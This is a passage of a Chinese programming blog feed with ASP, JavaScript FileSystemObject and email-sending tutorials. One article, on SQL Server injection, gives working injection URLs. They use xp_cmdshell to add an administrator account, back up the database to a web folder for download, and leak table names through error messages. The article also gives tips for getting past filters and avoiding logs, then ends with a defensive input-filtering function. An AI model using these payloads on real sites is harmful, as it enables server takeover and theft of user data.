		<p>　　4、在Text直接修改记录，然后点修改保存记录<br />　　&lt;%count=0 <br />　　do while not (rs.eof or rs.bof) and count&lt;rs.PageSize %&gt;<br />　　&lt;form action="webGroupEdit.asp" method="post" name="GroupEdit" onSubmit="return Checkedit()"&gt;<br />　　&lt;tr bgcolor="E9F3FF"&gt;<br />　　&lt;td&gt;&amp;nbsp;&lt;%=rs("id")%&gt; &lt;input name="b" type="hidden" id="b" value="&lt;%=rs("id")%&gt;"&gt;<br />　　&lt;input name="currpage" type="hidden" id="currpage" value="&lt;%=page%&gt;"&gt;&lt;/td&gt;<br />　　&lt;td height="18"&gt;&lt;input name="a" type="text" id="a" value="&lt;%=rs("MemGroupName")%&gt;" size="20" maxlength="50"&gt;<br />　　&lt;/td&gt;<br />　　&lt;td height="18"&gt;&lt;input name="c" type="text" id="c" value="&lt;%=rs("Remark")%&gt;" size="25" maxlength="30"&gt;&lt;/td&gt;<br />　　&lt;td&gt;&lt;input type="submit" name="Submit" value=" 修改 " &gt;&lt;/td&gt;<br />　　&lt;td&gt;&lt;div align="center"&gt;&lt;a href="webGroupDel.asp?id=&lt;%=rs("id")%&gt;&amp;page=&lt;%=page%&gt;" onClick="return check()"&gt;删除&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;<br />　　&lt;/tr&gt;<br />　　&lt;/form&gt;<br />　　&lt;%<br />　　count=count+1<br />　　rs.movenext<br />　　loop<br />　　%&gt; </p>
		<p>　　5、自动计算问题：<br />　　&lt;input type="hidden" name="selvalue"&gt;<br />　　&lt;SELECT NAME="select1" onChage="javascript:document.form1.selvalue.value=this.options[this.options.selectedIndex].text"&gt;<br />　　&lt;option value="1"&gt;新浪&lt;/option&gt;<br />　　&lt;option value="2"&gt;百度&lt;/option&gt;<br />　　&lt;option value="3"&gt;中华网&lt;/option&gt;<br />　　&lt;option value="4"&gt;腾讯&lt;/option&gt;<br />　　&lt;/SELECT&gt;</p>
		<p> </p>
		<p>
				<br />&lt;SCRIPT LANGUAGE="javascript"&gt; js脚本开始； <br />　　window.open 弹出新窗口的命令； <br />　　'page.html' 弹出窗口的文件名； <br />　　'newwindow' 弹出窗口的名字（不是文件名），非必须，可用空''代替； <br />　　height=100 窗口高度； <br />　　width=400 窗口宽度； <br />　　top=0 窗口距离屏幕上方的象素值； <br />　　left=0 窗口距离屏幕左侧的象素值； <br />　　toolbar=no 是否显示工具栏，yes为显示； <br />　　menubar，scrollbars 表示菜单栏和滚动栏。 <br />　　resizable=no 是否允许改变窗口大小，yes为允许； <br />　　location=no 是否显示地址栏，yes为允许； <br />　　status=no 是否显示状态栏内的信息（通常是文件已经打开），yes为允许； <br />　　&lt;/SCRIPT&gt; js脚本结束<br /> <br />判断星期几</p>
		<p>&lt;%<br />yue=month(date())<br />nian=year(date())<br />thismon=nian&amp;"-"&amp;yue&amp;"-1"<br />nextmon=dateadd("m",1,thismon)<br />tiancount=datediff("d",thismon,nextmon)  '本月的天数</p>
		<p>wek= Weekday(date())<br />select case wek<br />case 1<br />response.write "周日"<br />case 2<br />response.write "周一"<br />case 3<br />response.write "周二"<br />case 4<br />response.write "周三"<br />case 5<br />response.write "周四"<br />case 6<br />response.write "周五"<br />case 7<br />response.write "周六"<br />end select</p>
		<p>yue=month(date())<br />nian=year(date())<br />thismon=nian&amp;"-"&amp;yue&amp;"-1"<br />nextmon=dateadd("m",1,thismon)<br />tiancount=datediff("d",thismon,nextmon)  '本月的天数<br />dim wek,wekday<br />wek= Weekday(date())<br />select case wek<br />case 1<br />wekday= "周日"<br />case 2<br />wekday= "周一"<br />case 3<br />wekday= "周二"<br />case 4<br />wekday= "周三"<br />case 5<br />wekday= "周四"<br />case 6<br />wekday= "周五"<br />case 7<br />wekday= "周六"<br />end select</p>
		<p>'response.write "本月共"&amp;tiancount&amp;"天，今天是"&amp;wekday&amp;"<br />%&gt;</p>
<img src ="http://www.blogjava.net/jackywjj/aggbug/67302.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jackywjj/" target="_blank">jacky wu</a> 2006-09-02 20:11 <a href="http://www.blogjava.net/jackywjj/articles/67302.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Javascript FileSystemObject 对象</title><link>http://www.blogjava.net/jackywjj/articles/67301.html</link><dc:creator>jacky wu</dc:creator><author>jacky wu</author><pubDate>Sat, 02 Sep 2006 12:10:00 GMT</pubDate><guid>http://www.blogjava.net/jackywjj/articles/67301.html</guid><wfw:comment>http://www.blogjava.net/jackywjj/comments/67301.html</wfw:comment><comments>http://www.blogjava.net/jackywjj/articles/67301.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jackywjj/comments/commentRss/67301.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jackywjj/services/trackbacks/67301.html</trackback:ping><description><![CDATA[
		<p>Javascript是网页制作中离不开的脚本语言，依靠它，一个网页的内容才生动活泼、富有朝气。但也许你还没有发现并应用它的一些更高级的功能吧？比如，对文件和文件夹进行读、写和删除，就象在VB、VC等高级语言中经常做的工作一样。怎么样，你是否需要了解这方面的知识？那就请跟我来，本文将详细描述如何使用Javascript语言进行文件操作。<br /> <br />一、功能实现核心：FileSystemObject 对象 <br />其实，要在Javascript中实现文件操作功能，主要就是依靠FileSystemobject对象。在详细介绍FileSystemobject对象的各个属性和方法的使用细节前，先来看看这个对象包括哪些相关对象和集合： <br /> <br />二、FileSystemObject编程三部曲 <br />使用FileSystemObject 对象进行编程很简单，一般要经过如下的步骤： 创建FileSystemObject对象、应用相关方法、访问对象相关属性 。 <br />（一）创建FileSystemObject对象 <br />创建FileSystemObject对象的代码只要1行： <br />var fso = new ActiveXObject("Scripting.FileSystemObject"); <br />上述代码执行后，fso就成为一个FileSystemObject对象实例。 <br />（二）应用相关方法 <br />创建对象实例后，就可以使用对象的相关方法了。比如，使用CreateTextFile方法创建一个文本文件： <br />var fso = new ActiveXObject("Scripting.FileSystemObject"); <br />var f1 = fso.createtextfile("c:\\myjstest.txt",true"); <br />（三）访问对象相关属性 <br />要访问对象的相关属性，首先要建立指向对象的句柄，这就要通过get系列方法实现：GetDrive负责获取驱动器信息，GetFolder负责获取文件夹信息，GetFile负责获取文件信息。比如，指向下面的代码后，f1就成为指向文件c:\test.txt的句柄： <br />var fso = new ActiveXObject("Scripting.FileSystemObject"); <br />var f1 = fso.GetFile("c:\\myjstest.txt"); <br />然后，使用f1访问对象的相关属性。比如： <br />var fso = new ActiveXObject("Scripting.FileSystemObject"); <br />var f1 = fso.GetFile("c:\\myjstest.txt"); <br />alert("File last modified: " + f1.DateLastModified); <br />执行上面最后一句后，将显示c:\myjstest.txt的最后修改日期属性值。 <br />但有一点请注意：对于使用create方法建立的对象，就不必再使用get方法获取对象句柄了，这时直接使用create方法建立的句柄名称就可以： <br />var fso = new ActiveXObject("Scripting.FileSystemObject"); <br />var f1 = fso.createtextfile("c:\\myjstest.txt",true"); <br />alert("File last modified: " + f1.DateLastModified); <br />三、操作驱动器（Drives） <br />使用FileSystemObject对象来编程操作驱动器（Drives）和文件夹（Folders）很容易，这就象在Windows文件浏览器中对文件进行交互操作一样，比如：拷贝、移动文件夹，获取文件夹的属性。 <br />（一）Drives对象属性 <br />Drive对象负责收集系统中的物理或逻辑驱动器资源内容，它具有如下属性： <br />l TotalSize：以字节（byte）为单位计算的驱动器大小。 <br />l AvailableSpace或FreeSpace：以字节（byte）为单位计算的驱动器可用空间。 <br />l DriveLetter：驱动器字母。  <br />l DriveType：驱动器类型，取值为：removable（移动介质）、fixed（固定介质）、network（网络资源）、CD-ROM或者RAM盘。 <br />l SerialNumber：驱动器的系列码。 <br />l FileSystem：所在驱动器的文件系统类型，取值为FAT、FAT32和NTFS。  <br />l IsReady：驱动器是否可用。  <br />l ShareName：共享名称。 <br />l VolumeName：卷标名称。 <br />l Path和RootFolder：驱动器的路径或者根目录名称。  <br />（二）Drive对象操作例程 <br />下面的例程显示驱动器C的卷标、总容量和可用空间等信息：  <br />var fso, drv, s =""; <br />fso = new ActiveXObject("Scripting.FileSystemObject"); <br />drv = fso.GetDrive(fso.GetDriveName("c:\\")); <br />s += "Drive C:" + " - "; <br />s += drv.VolumeName + "\n"; <br />s += "Total Space: " + drv.TotalSize / 1024; <br />s += " Kb" + "\n";  <br />s += "Free Space: " + drv.FreeSpace / 1024; <br />s += " Kb" + "\n"; <br />alert(s); <br />执行后出现下面的信息框： <br /> <br />四、操作文件夹（Folders） <br />涉及到文件夹的操作包括创建、移动、删除以及获取相关属性。 <br />（一） Folder对象的相关属性和方法列表  <br /> </p>
		<p> </p>
		<p> </p>
		<p> </p>
		<p>（二）Folder对象操作例程 <br />下面的例程将练习获取父文件夹名称、创建文件夹、删除文件夹、判断是否为根目录等操作：  <br />var fso, fldr, s = ""; <br />// 创建FileSystemObject对象实例 <br />fso = new ActiveXObject("Scripting.FileSystemObject"); <br />// 获取Drive 对象 <br />fldr = fso.GetFolder("c:\\"); <br />// 显示父目录名称 <br />alert("Parent folder name is: " + fldr + "\n"); <br />// 显示所在drive名称 <br />alert("Contained on drive " + fldr.Drive + "\n"); <br />// 判断是否为根目录 <br />if (fldr.IsRootFolder) <br />alert("This is the root folder."); <br />else <br />alert("This folder isn't a root folder."); <br />alert("\n\n"); <br />// 创建新文件夹 <br />fso.CreateFolder ("C:\\Bogus"); <br />alert("Created folder C:\\Bogus" + "\n"); <br />// 显示文件夹基础名称，不包含路径名 <br />alert("Basename = " + fso.GetBaseName("c:\\bogus") + "\n"); <br />// 删除创建的文件夹 <br />fso.DeleteFolder ("C:\\Bogus"); <br />alert("Deleted folder C:\\Bogus" + "\n"); <br />五、操作文件（Files） <br />对文件进行的操作要比以上介绍的驱动器（Drive）和文件夹（Folder）操作复杂些，基本上分为以下两个类别：对文件的创建、拷贝、移动、删除操作和对文件内容的创建、添加、删除和读取操作。下面分别详细介绍。 <br />（一）创建文件 <br />一共有3种方法可用于创建一个空文本文件，这种文件有时候也叫做文本流（text stream）。 <br />第一种是使用CreateTextFile方法。代码如下： <br />var fso, f1; <br />fso = new ActiveXObject("Scripting.FileSystemObject"); <br />f1 = fso.CreateTextFile("c:\\testfile.txt", true); <br />第二种是使用OpenTextFile方法，并添加上ForWriting属性，ForWriting的值为2。代码如下： <br />var fso, ts; <br />var ForWriting= 2; <br />fso = new ActiveXObject("Scripting.FileSystemObject"); <br />ts = fso.OpenTextFile("c:\\test.txt", ForWriting, true); <br />第三种是使用OpenAsTextStream方法，同样要设置好ForWriting属性。代码如下： <br />var fso, f1, ts; <br />var ForWriting = 2; <br />fso = new ActiveXObject("Scripting.FileSystemObject"); <br />fso.CreateTextFile ("c:\\test1.txt"); <br />f1 = fso.GetFile("c:\\test1.txt"); <br />ts = f1.OpenAsTextStream(ForWriting, true); <br />（二）添加数据到文件 <br />当文件被创建后，一般要按照“打开文件－&gt;填写数据－&gt;关闭文件”的步骤实现添加数据到文件的目的。 <br />打开文件可使用FileSystemObject对象的OpenTextFile方法，或者使用File对象的OpenAsTextStream方法。  <br />填写数据要使用到TextStream对象的Write、WriteLine或者WriteBlankLines方法。在同是实现写入数据的功能下，这3者的区别在于：Write方法不在写入数据末尾添加新换行符，WriteLine方法要在最后添加一个新换行符，而WriteBlankLines则增加一个或者多个空行。 <br />关闭文件可使用TextStream对象的Close方法。 <br />（三）创建文件及添加数据例程 <br />下面的代码将创建文件、添加数据、关闭文件几个步骤结合起来进行应用： <br />var fso, tf; <br />fso = new ActiveXObject("Scripting.FileSystemObject"); <br />// 创建新文件 <br />tf = fso.CreateTextFile("c:\\testfile.txt", true); <br />// 填写数据，并增加换行符 <br />tf.WriteLine("Testing 1, 2, 3.") ; <br />// 增加3个空行 <br />tf.WriteBlankLines(3) ; <br />// 填写一行，不带换行符 <br />tf.Write ("This is a test."); <br />// 关闭文件 <br />tf.Close(); <br />（四）读取文件内容 <br />从文本文件中读取数据要使用TextStream对象的Read、ReadLine或ReadAll 方法。Read方法用于读取文件中指定数量的字符；ReadLine方法读取一整行，但不包括换行符；ReadAll方法则读取文本文件的整个内容。读取的内容存放于字符串变量中，用于显示、分析。在使用Read或ReadLine方法读取文件内容时，如果要跳过一些部分，就要用到Skip或SkipLine方法。 <br />下面的代码演示打开文件、填写数据，然后读取数据： <br />var fso, f1, ts, s; <br />var ForReading = 1; <br />fso = new ActiveXObject("Scripting.FileSystemObject"); <br />// 创建文件  <br />f1 = fso.CreateTextFile("c:\\testfile.txt", true); <br />// 填写一行数据 <br />f1.WriteLine("Hello World"); <br />f1.WriteBlankLines(1); <br />// 关闭文件 <br />f1.Close(); <br />// 打开文件 <br />ts = fso.OpenTextFile("c:\\testfile.txt", ForReading); <br />// 读取文件一行内容到字符串 <br />s = ts.ReadLine(); <br />// 显示字符串信息 <br />alert("File contents = '" + s + "'"); <br />// 关闭文件 <br />ts.Close(); <br />（五）移动、拷贝和删除文件 <br />对于以上三种文件操作，Javascript各有两种对应的方法：File.Move 或 FileSystemObject.MoveFile用于移动文件；File.Copy 或 FileSystemObject.CopyFile用于拷贝文件；File.Delete 或 FileSystemObject.DeleteFile用于删除文件。 <br />下面的代码演示在驱动器C的根目录下创建一个文本文件，填写一些内容，然后将文件移动到\tmp目录下，再在目录\temp下面建立一个文件拷贝，最后删除这两个目录的文件： <br />var fso, f1, f2, s; <br />fso = new ActiveXObject("Scripting.FileSystemObject"); <br />f1 = fso.CreateTextFile("c:\\testfile.txt", true); <br />// 写一行 <br />f1.Write("This is a test."); <br />// 关闭文件 <br />f1.Close(); <br />// 获取C:\根目录下的文件句柄 <br />f2 = fso.GetFile("c:\\testfile.txt"); <br />// 移动文件到\tmp目录下 <br />f2.Move ("c:\\tmp\\testfile.txt"); <br />// 拷贝文件到\temp目录下 <br />f2.Copy ("c:\\temp\\testfile.txt"); <br />// 获取文件句柄 <br />f2 = fso.GetFile("c:\\tmp\\testfile.txt"); <br />f3 = fso.GetFile("c:\\temp\\testfile.txt"); <br />// 删除文件 <br />f2.Delete(); <br />f3.Delete(); <br />六、结 语 <br />通过以上对FileSystemObject的各种对象、属性和方法的介绍和示例，相信你已经对如何使用JavaScript语言在页面中操作驱动器、文件和文件夹有了清晰的认识。但是上述提及的例程都非常简单，要全面、灵活地掌握JavaScript文件操作技术，还需要大量的实践练习。而且还有一点提醒大家，由于涉及到在浏览器中进行文件读写这样的高级操作，对于默认的浏览器安全级别而言，在代码运行前都会有一个信息提示，这点请在实际环境中提示访问者注意。<br /></p>
<img src ="http://www.blogjava.net/jackywjj/aggbug/67301.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jackywjj/" target="_blank">jacky wu</a> 2006-09-02 20:10 <a href="http://www.blogjava.net/jackywjj/articles/67301.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>利用系统表注入SQLServer数据库</title><link>http://www.blogjava.net/jackywjj/articles/25159.html</link><dc:creator>jacky wu</dc:creator><author>jacky wu</author><pubDate>Fri, 23 Dec 2005 01:51:00 GMT</pubDate><guid>http://www.blogjava.net/jackywjj/articles/25159.html</guid><wfw:comment>http://www.blogjava.net/jackywjj/comments/25159.html</wfw:comment><comments>http://www.blogjava.net/jackywjj/articles/25159.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jackywjj/comments/commentRss/25159.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jackywjj/services/trackbacks/25159.html</trackback:ping><description><![CDATA[<P>第一节、利用系统表注入SQLServer数据库</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SQLServer是一个功能强大的数据库系统，与操作系统也有紧密的联系，这给开发者带来了很大的方便，但另一方面，也为注入者提供了一个跳板，我们先来看看几个具体的例子：</P>
<P>① <A href="http://Site/url.asp?id=1;exec">http://Site/url.asp?id=1;exec</A> master..xp_cmdshell "net user david 111111 /add"--</P>
<P>　　分号;在SQLServer中表示隔开前后两句语句，--表示后面的语句为注释，所以，这句语句在SQLServer中将被分成两句执行，先是Select出ID=1的记录，然后执行存储过程xp_cmdshell，这个存储过程用于调用系统命令，于是，用net命令新建了用户名为name、密码为password的windows的帐号，接着：</P>
<P>② <A href="http://Site/url.asp?id=1;exec">http://Site/url.asp?id=1;exec</A> master..xp_cmdshell "net localgroup name administrators /add"--</P>
<P>　　将新建的帐号name加入管理员组，不用两分钟，你已经拿到了系统最高权限！当然，这种方法只适用于用sa连接数据库的情况，否则，是没有权限调用xp_cmdshell的。</P>
<P>　　③ <A href="http://Site/url.asp?id=1">http://Site/url.asp?id=1</A> ;;and db_name()&gt;0</P>
<P>前面有个类似的例子and user&gt;0，作用是获取连接用户名，db_name()是另一个系统变量，返回的是连接的数据库名。</P>
<P>④ <A href="http://Site/url.asp?id=1;backup">http://Site/url.asp?id=1;backup</A> database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--</P>
<P>这是相当狠的一招，从③拿到的数据库名，加上某些IIS出错暴露出的绝对路径，将数据库备份到Web目录下面，再用HTTP把整个数据库就完完整整的下载回来，所有的管理员及用户密码都一览无遗！在不知道绝对路径的时候，还可以备份到网络地址的方法（如<A href="file://\\202.96.xx.xx\Share\1.db">\\202.96.xx.xx\Share\1.db</A>），但成功率不高。</P>
<P>　　⑤ <A href="http://Site/url.asp?id=1">http://Site/url.asp?id=1</A> ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status&gt;0)&gt;0</P>
<P>前面说过，sysobjects是SQLServer的系统表，存储着所有的表名、视图、约束及其它对象，xtype=’U’ and status&gt;0，表示用户建立的表名，上面的语句将第一个表名取出，与0比较大小，让报错信息把表名暴露出来。第二、第三个表名怎么获取？还是留给我们聪明的读者思考吧。</P>
<P>⑥ <A href="http://Site/url.asp?id=1">http://Site/url.asp?id=1</A> ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)&gt;0</P>
<P>从⑤拿到表名后，用object_id(‘表名’)获取表名对应的内部ID，col_name(表名ID,1)代表该表的第1个字段名，将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。</P>
<P>　　以上6点是我研究SQLServer注入半年多以来的心血结晶，可以看出，对SQLServer的了解程度，直接影响着成功率及猜解速度。在我研究SQLServer注入之后，我在开发方面的水平也得到很大的提高，呵呵，也许安全与开发本来就是相辅相成的吧。</P>
<P>第二节、绕过程序限制继续注入</P>
<P>在入门篇提到，有很多人喜欢用’号测试注入漏洞，所以也有很多人用过滤’号的方法来“防止”注入漏洞，这也许能挡住一些入门者的攻击，但对ＳＱＬ注入比较熟悉的人，还是可以利用相关的函数，达到绕过程序限制的目的。</P>
<P>在“ＳＱＬ注入的一般步骤”一节中，我所用的语句，都是经过我优化，让其不包含有单引号的；在“利用系统表注入SQLServer数据库”中，有些语句包含有’号，我们举个例子来看看怎么改造这些语句：</P>
<P>简单的如where xtype=’U’，字符U对应的ASCII码是85，所以可以用where xtype=char(85)代替；如果字符是中文的，比如where name=’用户’，可以用where name=nchar(29992)+nchar(25143)代替。</P>
<P>第三节、经验小结</P>
<P>1.有些人会过滤Select、Update、Delete这些关键字，但偏偏忘记区分大小写，所以大家可以用selecT这样尝试一下。</P>
<P>2.在猜不到字段名时，不妨看看网站上的登录表单，一般为了方便起见，字段名都与表单的输入框取相同的名字。</P>
<P>3.特别注意：地址栏的+号传入程序后解释为空格，%2B解释为+号，%25解释为%号，具体可以参考URLEncode的相关介绍。</P>
<P>4.用Get方法注入时，IIS会记录你所有的提交字符串，对Post方法做则不记录，所以能用Post的网址尽量不用Get。</P>
<P>5. 猜解Access时只能用Ascii逐字解码法，SQLServer也可以用这种方法，只需要两者之间的区别即可，但是如果能用SQLServer的报错信息把值暴露出来，那效率和准确率会有极大的提高。</P>
<P>防 范 方 法</P>
<P>ＳＱＬ注入漏洞可谓是“千里之堤，溃于蚁穴”，这种漏洞在网上极为普遍，通常是由于程序员对注入不了解，或者程序过滤不严格，或者某个参数忘记检查导致。在这里，我给大家一个函数，代替ASP中的Request函数，可以对一切的SQL注入Say NO，函数如下：</P>
<P><BR>Function SafeRequest(ParaName,ParaType)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; '--- 传入参数 ---<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'ParaName:参数名称-字符型<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'ParaType:参数类型-数字型(1表示以上参数是数字，0表示以上参数为字符)</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim ParaValue<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ParaValue=Request(ParaName)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If ParaType=1 then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If ParaValue="" or not isNumeric(ParaValue) then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Response.write "参数" &amp; ParaName &amp; "必须为数字型！"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Response.end<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End if<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ParaValue=replace(ParaValue,"'","''")<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End if<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SafeRequest=ParaValue<BR>End function<BR>&nbsp;&nbsp; 文章到这里就结束了，不管你是安全人员、技术爱好者还是程序员，我都希望本文能对你有所帮助。如果有什么疑问或想与我讨论相关问题，欢迎到<A href="http://www.54NB.com">www.54NB.com</A> 向提出，谢谢大家！</P>
<P>&nbsp;</P><img src ="http://www.blogjava.net/jackywjj/aggbug/25159.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jackywjj/" target="_blank">jacky wu</a> 2005-12-23 09:51 <a href="http://www.blogjava.net/jackywjj/articles/25159.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ASP用JMail、CDO发送邮件</title><link>http://www.blogjava.net/jackywjj/articles/16970.html</link><dc:creator>jacky wu</dc:creator><author>jacky wu</author><pubDate>Thu, 27 Oct 2005 02:14:00 GMT</pubDate><guid>http://www.blogjava.net/jackywjj/articles/16970.html</guid><wfw:comment>http://www.blogjava.net/jackywjj/comments/16970.html</wfw:comment><comments>http://www.blogjava.net/jackywjj/articles/16970.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jackywjj/comments/commentRss/16970.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jackywjj/services/trackbacks/16970.html</trackback:ping><description><![CDATA[<P>前一段时间有发过一个简单的JMAIL邮件发邮件的代码，今天就把这个代码做一个具体的注解，并增加了另外两个格式的代码，并举几个简单的例子：<BR>首先是jmail.smtpmail的核心代码： <BR>&lt;%<BR>&nbsp; Set jmail = Server.CreateObject("JMAIL.SMTPMail")&nbsp;&nbsp; '创建一个JMAIL对象<BR>&nbsp; jmail.silent = true&nbsp;&nbsp; 'JMAIL不会抛出例外错误，返回的值为FALSE跟TRUE<BR>&nbsp; jmail.logging = true&nbsp;&nbsp; '启用使用日志<BR>&nbsp; jmail.Charset = "GB2312"&nbsp; '邮件文字的代码为简体中文<BR>&nbsp; jmail.ContentType = "text/html"&nbsp; '邮件的格式为HTML的<BR>&nbsp; jmail.ServerAddress = "Server Address"&nbsp;&nbsp; '发送邮件的服务器<BR>&nbsp; jmail.AddRecipient Email&nbsp;&nbsp;&nbsp; '邮件的收件人<BR>&nbsp; jmail.SenderName = "SenderName"&nbsp;&nbsp;&nbsp; '邮件发送者的姓名<BR>&nbsp; jmail.Sender = "Email Address"&nbsp;&nbsp;&nbsp; '邮件发送者的邮件地址<BR>&nbsp; jmail.Priority = 1&nbsp;&nbsp; '邮件的紧急程序，1 为最快，5 为最慢， 3 为默认值<BR>&nbsp; jmail.Subject = "Mail Subject"&nbsp; '邮件的标题<BR>&nbsp; jmail.Body = "Mail Body"&nbsp;&nbsp; '邮件的内容<BR>&nbsp; jmail.AddRecipientBCC Email&nbsp;&nbsp; '密件收件人的地址<BR>&nbsp; jmail.AddRecipientCC Email&nbsp;&nbsp; '邮件抄送者的地址<BR>&nbsp; jmail.Execute()&nbsp;&nbsp; '执行邮件发送<BR>&nbsp; jmail.Close&nbsp;&nbsp;&nbsp; '关闭邮件对象<BR>%&gt;</P>
<P>　　w3 Jmail4.3组件重新设计了其内部结构——使用Message对象代替原来的单一对象Jmail.smtpmail发送邮件，有些方法需要身份验证的(如163、yahoo等)，可以用下面的方法解决：<BR>&lt;%<BR>&nbsp;&nbsp;&nbsp;&nbsp; Set jmail = Server.CreateObject("JMAIL.Message")&nbsp;&nbsp; '建立发送邮件的对象<BR>&nbsp;&nbsp;&nbsp;&nbsp; jmail.silent = true&nbsp;&nbsp;&nbsp; '屏蔽例外错误，返回FALSE跟TRUE两值j<BR>&nbsp;&nbsp;&nbsp;&nbsp; mail.logging = true&nbsp;&nbsp; '启用邮件日志<BR>&nbsp;&nbsp;&nbsp;&nbsp; jmail.Charset = "GB2312"&nbsp;&nbsp;&nbsp;&nbsp; '邮件的文字编码为国标<BR>&nbsp;&nbsp;&nbsp;&nbsp; jmail.ContentType = "text/html"&nbsp;&nbsp;&nbsp; '邮件的格式为HTML格式<BR>&nbsp;&nbsp;&nbsp;&nbsp; jmail.AddRecipient Email&nbsp;&nbsp;&nbsp;&nbsp; '邮件收件人的地址<BR>&nbsp;&nbsp;&nbsp;&nbsp; jmail.From = "Email From for Sender"&nbsp;&nbsp; '发件人的E-MAIL地址<BR>&nbsp;&nbsp;&nbsp;&nbsp; jmail.MailServerUserName = "UserName of Email"&nbsp;&nbsp;&nbsp;&nbsp; '登录邮件服务器所需的用户名<BR>&nbsp;&nbsp;&nbsp;&nbsp; jmail.MailServerPassword = "Password of Email"&nbsp;&nbsp;&nbsp;&nbsp; '登录邮件服务器所需的密码<BR>&nbsp;&nbsp;&nbsp;&nbsp; jmail.Subject = "Mail Subject"&nbsp;&nbsp;&nbsp; '邮件的标题 <BR>&nbsp;&nbsp;&nbsp;&nbsp; jmail.Body = "Mail Body"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; '邮件的内容<BR>&nbsp;&nbsp;&nbsp;&nbsp; jmail.Prority = 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; '邮件的紧急程序，1 为最快，5 为最慢， 3 为默认值<BR>&nbsp;&nbsp;&nbsp;&nbsp; jmail.Send("Server Address")&nbsp;&nbsp;&nbsp;&nbsp; '执行邮件发送（通过邮件服务器地址）<BR>&nbsp;&nbsp;&nbsp;&nbsp; jmail.Close()&nbsp;&nbsp; '关闭对象<BR>%&gt;</P>
<P>　　再讲一下微软自带的CDONTS组件的发信的方法：</P>
<P>&lt;%<BR>&nbsp;&nbsp;&nbsp; Set cdomail = Server.CreateObject("CDONTS.NewMail")&nbsp; '建立邮件对象<BR>&nbsp;&nbsp;&nbsp; cdomail.Subject = "Mail Subject"&nbsp;&nbsp; '邮件标题<BR>&nbsp;&nbsp;&nbsp; cdomail.From = "Sender's Mail"&nbsp;&nbsp; '发件人的地址<BR>&nbsp;&nbsp;&nbsp; cdomail.To = "Email will from"&nbsp;&nbsp; '收件人的地址<BR>&nbsp;&nbsp;&nbsp; cdomail.Body = "Mail Body"&nbsp;&nbsp; '邮件的内容<BR>&nbsp;&nbsp;&nbsp; cdomail.Send&nbsp;&nbsp;&nbsp; '执行发送<BR>%&gt;</P>
<P>　　这种方法发送邮件是最简单的，同时也带来一定的问题，就是很少有服务器会开这项服务！</P>
<P><BR>　　我们写程序，一般情况下都是说要代码模块化，这样方便维护，同时也方便移植。因此，我在这里将这个发邮件的写成一个子程，在调用的时候可以直接调用（当然，如果你高兴写成函数的话也是可以的，这个主要是看个人兴趣）：</P>
<P>&lt;%<BR>&nbsp; '参数说明<BR>&nbsp; 'Subject&nbsp;&nbsp;&nbsp;&nbsp; : 邮件标题<BR>&nbsp; 'MailAddress : 发件服务器的地址,如smtp.163.com<BR>&nbsp; 'Email&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : 收件人邮件地址<BR>&nbsp; 'Sender&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : 发件人姓名<BR>&nbsp; 'Content&nbsp;&nbsp;&nbsp;&nbsp; : 邮件内容<BR>&nbsp; 'Fromer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : 发件人的邮件地址</P>
